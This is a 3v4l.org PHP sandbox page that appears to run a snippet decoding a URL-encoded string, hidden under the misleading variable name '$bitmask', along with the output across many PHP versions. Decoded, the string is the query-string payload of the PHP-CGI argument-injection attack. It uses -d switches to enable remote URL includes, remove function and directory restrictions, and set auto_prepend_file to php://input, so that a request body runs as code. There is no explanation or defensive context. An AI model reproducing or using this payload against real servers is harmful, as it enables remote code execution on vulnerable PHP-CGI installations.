3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $bitmask = "%s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" . "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" . "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" . "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" . "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" . "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" . "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" . "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" . "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" . "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" . "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" . "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E"; echo urldecode($bitmask); ?>
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
%s?%-%d %a%l%l%o%w%_%u%r%l%_%i%n%c%l%u%d%e%=%o%n %-%d %s%a%f%e%_%m%o%d%e%=%o%f%f %-%d %s%u%h%o%s%i%n%.%s%i%m%u%l%a%t%i%o%n%=%o%n %-%d %d%i%s%a%b%l%e%_%f%u%n%c%t%i%o%n%s%=%"%" %-%d %o%p%e%n%_%b%a%s%e%d%i%r%=%n%o%n%e %-%d %a%u%t%o%_%p%r%e%p%e%n%d%_%f%i%l%e%=%p%h%p%:%/%/%i%n%p%u%t %-%d %c%g%i%.%f%o%r%c%e%_%r%e%d%i%r%e%c%t%=%0 %-%d %c%g%i%.%r%e%d%i%r%e%c%t%_%s%t%a%t%u%s%_%e%n%v%=%0 %-%n